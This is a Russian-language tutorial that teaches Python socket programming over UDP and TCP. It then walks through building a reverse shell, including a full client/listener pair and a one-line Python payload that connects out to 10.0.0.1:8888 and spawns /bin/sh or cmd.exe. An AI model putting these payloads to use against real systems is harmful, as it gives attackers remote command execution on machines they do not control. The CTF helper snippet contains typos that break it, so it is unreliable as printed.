Skip to content

Reverse shell на Python. Осваиваем навыки работы с сетью на Python на примере обратного шелла

Содержание статьи

В этой статье мы разберемся, как при помощи Python передавать сообщения между двумя компьютерами, подключенными к сети. Эта задача часто встречается не только при разработке приложений, но и при пентесте или участии в CTF. Проникнув на чужую машину, мы как-то должны передавать ей команды. Именно для этого нужен reverse shell, или «обратный шелл», который мы и напишем.

Существует два низкоуровневых протокола, по которым передаются данные в компьютерных сетях, — это UDP (User Datagram Protocol) и TCP (Transmission Control Protocol). Работа с ними слегка различается, поэтому рассмотрим оба.

Протокол UDP предназначен для передачи пакетов от одного узла к другому без гарантии доставки. Пакет данных обычно состоит из двух частей. В одной — управляющая информация, в том числе данные отправителя и получателя, а также коды ошибок. В другой — пользовательская информация, то есть сообщение, которое передается.

Важно здесь то, что UDP не гарантирует доставку пакета (правильнее говоря, датаграммы) указанному узлу, так как между отправителем и получателем не установлен канал связи. Ошибки и потери пакетов в сетях случаются сплошь и рядом, и это стоит учитывать (или в определенных случаях, наоборот, не стоит).

Протокол TCP тоже доставляет сообщения, но при этом гарантирует, что пакет долетит до получателя целым и невредимым.

Переходим к практике

Писать код мы будем на современном Python 3. Вместе с Python поставляется набор стандартных библиотек, из которого нам потребуется модуль socket. Подключаем его.

import socket

Дальше мы договоримся, что у нас есть сервер и клиент, где клиентом обычно будет наш компьютер, а сервером — удаленный. В реальности все это условности, и речь может идти о любых двух компьютерах (в том числе виртуальных машинах) или даже просто двух процессах, запущенных локально. Важно только то, что код по разные стороны будет разным.

На каждой из сторон первым делом создаем экземпляр класса socket и устанавливаем для него две константы (параметры).

Используем UDP

Сначала создадим место для обмена данными.

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

Мы создали объект s, который является экземпляром класса socket. Для этого мы вызвали метод из модуля socket с именем socket и передали ему два параметра — AF_INET и SOCK_DGRAMM. AF_INET означает, что используется IP-протокол четвертой версии. При желании можно использовать IPv6. Во втором параметре для наших целей мы можем указать одну из двух констант: SOCK_DGRAMM или SOCK_STREAM. Первая означает, что будет использоваться протокол UDP. Вторая — TCP.

Сторона сервера

Далее код различается для стороны сервера и клиента. Рассмотрим сначала сторону сервера.

s.bind(('127.0.0.1', 8888))
result = s.recv(1024)
print('Message:', result.decode('utf-8'))
s.close()

Здесь s.bind(('127.0.0.1', 8888)) означает, что мы резервируем на сервере (то есть на нашей же машине) адрес 127.0.0.1 и порт 8888. На нем мы будем слушать и принимать пакеты информации. Здесь стоят двойные скобки, так как методу bind() передается кортеж данных — в нашем случае состоящий из строки с адресом и номера порта.

INFO

Резервировать можно только свободные порты. Например, если на порте 80 уже работает веб-сервер, то он будет нам мешать.

Далее метод recv() объекта s прослушивает указанный нами порт (8888) и получает данные по одному килобайту (поэтому мы задаем размер буфера 1024 байта). Если на него присылают датаграмму, то метод считывает указанное количество байтов и они попадают в переменную result.

Далее идет всем знакомая функция print(), в которой мы выводим сообщение Message: и декодированный текст. Поскольку данные в result — это текст в кодировке UTF-8, мы должны интерпретировать его, вызвав метод decode('utf-8').

Ну и наконец, вызов метода close() необходим, чтобы остановить прослушивание 8888-го порта и освободить его.

Таким образом, сторона сервера имеет следующий вид:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('127.0.0.1', 8888))
result = s.recv(1024)
print('Message:', result.decode('utf-8'))
s.close()

Сторона клиента

Здесь все гораздо проще. Для отправки датаграммы мы используем метод класса socket (точнее, нашего экземпляра s) под названием .sendto():

s.sendto(b'<Your message>', ('127.0.0.1', 8888))

У метода есть два параметра. Первый — сообщение, которое ты отправляешь. Буква b перед текстом нужна, чтобы преобразовать символы текста в последовательность байтов. Второй параметр — кортеж, где указаны IP машины-получателя и порт, который принимает датаграмму.

Таким образом, сторона клиента будет выглядеть примерно так:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(b'<Your message>', ('127.0.0.1', 8888))

Тестируем

Для тестирования открываем две консоли, одна у нас будет работать сервером, другая — клиентом. В каждой запускаем соответствующую программу.

Вывод на стороне сервера

Вывод на стороне сервера

На стороне клиента мы ничего увидеть не должны, и это логично, потому что мы ничего и не просили выводить.

Для теста мы передавали сообщение от одного порта другому порту на нашей же машине, но если запустить эти скрипты на разных компьютерах и на стороне клиента указать правильный IP, то все будет работать точно так же.

Используем TCP

Пришло время познакомиться с TCP. Точно так же создаем класс s, но в качестве второго параметра будем использовать константу SOCK_STREAM.

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Сторона сервера

Снова резервируем порт, на котором будем принимать пакеты:

s.bind(('127.0.0.1', 8888))

Дальше появляется незнакомый нам ранее метод listen(). С его помощью мы устанавливаем некую очередь для подключенных клиентов. Например, с параметром .listen(5) мы создаем ограничение на пять подключенных и ожидающих ответа клиентов.

Делаем бесконечный цикл, в котором будем обрабатывать запросы от каждого нового клиента, находящегося в очереди.

while 1:
  try:
    client, addr = s.accept()
  except KeyboardInterrupt:
    s.close()
    break
  else:
    result = client.recv(1024)
    print('Message:', result.decode('utf-8'))

Страшновато? Начнем по порядку. Сначала мы создаем обработчик исключения KeyboardInterrupt (остановка работы программы с клавиатуры), чтобы сервер работал бесконечно, пока мы что-нибудь не нажмем.

Метод accept() возвращает пару значений, которую мы помещаем в две переменные: в addr будут содержаться данные о том, кто был отправителем, а client станет экземпляром класса socket. То есть мы создали новое подключение.

Теперь посмотрим вот на эти три строчки:

except KeyboardInterrupt:
  s.close()
  break

В них мы останавливаем прослушивание и освобождаем порт, только если сами остановим работу программы. Если прерывания не произошло, то выполняется блок else:

else:
  result = client.recv(1024)
  print('Message:', result.decode('utf-8'))

Здесь мы сохраняем пользовательские данные в переменную result, а функцией print() выводим на экран сообщение, которое нам отправлял клиент (предварительно превратив байты в строку Unicode). В результате сторона сервера будет выглядеть примерно так:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8888))
s.listen(5)
while 1:
  try:
    client, addr = s.accept()
  except KeyboardInterrupt:
    s.close()
    break
  else:
    result = client.recv(1024)
    print('Message:', result.decode('utf-8'))

Сторона клиента

Со стороной клиента опять же все обстоит проще. После подключения библиотеки и создания экземпляра класса s мы, используя метод connect(), подключаемся к серверу и порту, на котором принимаются сообщения:

s.connect(('127.0.0.1', 8888))

Далее мы отправляем пакет данных получателю методом send():

s.send(b'<YOUR MESSAGE>')

В конце останавливаем прослушивание и освобождаем порт:

s.close()

Код клиента будет выглядеть примерно так:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
s.send(b'<YOUR MESSAGE>')
s.close()

Тестируем

Запустим в двух разных консолях код сервера и код клиента. На выходе мы должны получить примерно то же самое, что и с протоколом UDP.

Вывод на стороне сервера

Вывод на стороне сервера

Успех! Поздравляю: теперь тебе открыты большие возможности. Как видишь, ничего страшного в работе с сетью нет. И конечно, не забываем, что раз мы эксперты в ИБ, то можем добавить шифрование в наш протокол.

В качестве следующего упражнения можешь попробовать, например, написать чат на несколько персон, как на скриншоте.

Самодельный чат, вид со стороны сервера

Самодельный чат, вид со стороны сервера

Применяем знания на практике

Я дважды участвовал в InnoCTF, и работа с сокетами в Python очень пригождается при решении задач на взлом. По сути, все сводится к тому, чтобы очень много раз парсить поступающие данные с сервера InnoCTF и правильно их обрабатывать. Данные могут абсолютно любыми. Обычно это математические примеры, разные уравнения и прочее.

Для работы с сервером я использую следующий код.

import socket
try:
  s = socket.socket(socket.AF_INET, spcket.SOCK_STREAM)
  s.connect(('<HOST>', <PORT>))
  while True:
    data = s.recv(4096)
    if not data:
      continue
    st = data.decode("ascii")
    # Здесь идет алгоритм обработки задачи, результаты работы которого должны оказаться в переменной result
    s.send(str(result)+'\n'.encode('utf-8'))
finally:
  s.close()

Здесь мы сохраняем байтовые данные в переменную data, а потом преобразуем их из кодировки ASCII в строчке st = data.decode("ascii"). Теперь в переменной st у нас хранится то, что нам прислал сервер. Отправлять ответ мы можем, только подав на вход строковую переменную, поэтому обязательно используем функцию str(). В конце у нее символ переноса строки — \n. Далее мы все кодируем в UTF-8 и методом send() отправляем серверу. В конце нам обязательно нужно закрыть соединение.

Делаем полноценный reverse shell

От обучающих примеров переходим к реальной задаче — разработке обратного шелла, который позволит выполнять команды на захваченной удаленной машине.

При этом добавить нам нужно только вызов функции subprocess. Что это такое? В Python есть модуль subprocess, который позволяет запускать в операционной системе процессы, управлять ими и взаимодействовать с ними через стандартный ввод и вывод. В качестве простейшего примера используем subprocess, чтобы запустить блокнот:

import subprocess
subprocess.call('notepad.exe')

Здесь метод call() вызывает (запускает) указанную программу.

Переходим к разработке шелла. В данном случае сторона сервера будет атакующей (то есть наш компьютер), а сторона клиента — атакованной машиной. Именно поэтому шелл называется обратным.

Сторона клиента (атакованная машина)

Вначале все стандартно: подключаем модули, создаем экземпляр класса socket и подключаемся к серверу (к тому, кто атакует):

import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))

Обрати внимание: когда мы указываем IP для подключения, это адрес атакующего. То есть в данном случае наш.

Далее идет основная часть кода, где мы обрабатываем команды и выполняем их.

while 1:
  command = s.recv(1024).decode()
  if command.lower() == 'exit':
    break
  output = subprocess.getoutput(command)
  s.send(output.encode())
s.close()

Вкратце пройдемся по коду. Так как нам в какой-то момент нужно будет выйти из шелла, мы проверяем, не придет ли команда exit, и, если придет, прерываем цикл. На случай, если она вдруг будет написана заглавными буквами или с заглавной, переводим все символы принятой команды в нижний регистр строковым методом lower().

А теперь самое главное. Метод getoutput() модуля subprocess вызывает исполнение команды и возвращает то, что она выдаст. Мы сохраним вывод в переменную output.

INFO

Наш буфер ограничен одним килобайтом памяти, чего может не хватить для сохранения больших выводов. Для этого просто нужно зарезервировать больше памяти. Например, 4096 байт, а не 1024.

Далее мы отправляем результат выполнения атакующему и, если атакующий завершил сессию командой exit, закрываем соединение.

Весь код будет выглядеть вот так:

import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
while 1:
  command = s.recv(1024).decode()
  if command.lower() == 'exit':
    break
  output = subprocess.getoutput(command)
  s.send(output.encode())
s.close()

Сторона сервера (атакующего)

Здесь все начинается абсолютно так же, как и в примерах выше.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 8888))
s.listen(5)

Единственное изменение — это IP-адрес. Указав одни нули, мы используем все IP, которые есть на нашей локальной машине. Если локальных адресов несколько, то сервер будет работать на любом из них.

Далее принимаем подключение и данные: в client будет новое подключение (сокет), а в addr будет лежать адрес отправителя:

client, addr = s.accept()

Теперь основная часть:

while 1:
  command = str(input('Enter command:'))
  client.send(command.encode())
  if command.lower() == 'exit':
    break
  result_output = client.recv(1024).decode()
  print(result_output)
client.close()
s.close()

Думаю, тебе уже знаком этот код. Здесь все просто: в переменную command мы сохраняем введенную с клавиатуры команду, которую потом отправляем на атакуемую машину. И заодно организуем себе возможность цивилизованно выйти, набрав команду exit. Далее сохраняем то, что нам прислала атакованная машина, в переменную result_output и выводим ее содержимое на экран. После выхода из цикла закрываем соединение с клиентом и с самим сервером.

Весь код будет таким:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 8888))
s.listen(5)
client, addr = s.accept()
while 1:
  command = str(input('Enter command:'))
  client.send(command.encode())
  if command.lower() == 'exit':
    break
  result_output = client.recv(1024).decode()
  print(result_output)
client.close()
s.close()

Осталось проверить! Запускаем в одной консоли сервер (сторона атакующего), а в другой — клиент (атакуемый) и видим вывод в консоли сервера.

Вывод на стороне атакующего

Вывод на стороне атакующего

Попробуем открыть блокнот, написав notepad.exe.

Ура, блокнот!

Ура, блокнот!

Поздравляю, твой первый шелл готов!

Шелл одной строчкой

Чтобы закинуть код на удаленную машину, удобно иметь его в виде одной строчки. Благо в Python есть все необходимое, чтобы уместить код клиента в одну недлинную строку. Вот как она выглядит.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Ключ -c позволяет передать программу в качестве параметра.

Думаю, ты сразу подметил знакомые элементы кода. Но для удобства я распишу построчно:

import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.0.1',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i']) # Для Windows — .call('cmd.exe')

Как видишь, появилось кое-что новенькое: os, dup2(), fileno(). Чтобы понять, как это работает, нужно знать, что такое файловые дескрипторы.

Если совсем по-простому, то это некие целые неотрицательные числа, которые возвращаются процессу после того, как он создаст поток ввода-вывода и поток диагностики. В UNIX устоявшиеся названия потоков — это 0, 1 и 2. 0 соответствует стандартному вводу процесса (терминал), 1 — стандартный вывод (терминал), 2 — поток диагностики (файл с сообщениями об ошибках).

Модуль os — это еще один стандартный элемент Python. Он позволяет программе общаться с операционной системой. Входящий в него метод dup2() предназначен для того, чтобы менять значения файловых дескрипторов. fileno() — это метод объекта типа socket, который возвращает файловый дескриптор сокета. А при помощи метода dup2() мы меняем дескрипторы ввода-вывода и ошибок на соответствующие дескрипторы сокета.

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

То есть, считай, мы взяли и сделали наш сокет полноценным процессом. Что это нам дает? Мы можем запустить терминал и использовать его! Для этого нужна вот эта строка:

p=subprocess.call(['/bin/sh','-i'])

Для Windows она будет слегка другой:

p=subprocess.call('cmd.exe')

Вот так вот мы «обхитрили» систему. Точнее, просто воспользовались одной из продвинутых функций.

В завершение

Теперь ты не только знаешь, как организовать передачу сообщений между программами на Python, но и умеешь писать хитрые однострочники, которые передают тебе управление удаленной машиной. Думаю, ты уже ощущаешь невероятную мощь и готов к экспериментам. Желаю удачи с ними!

[[../index]]

Back to top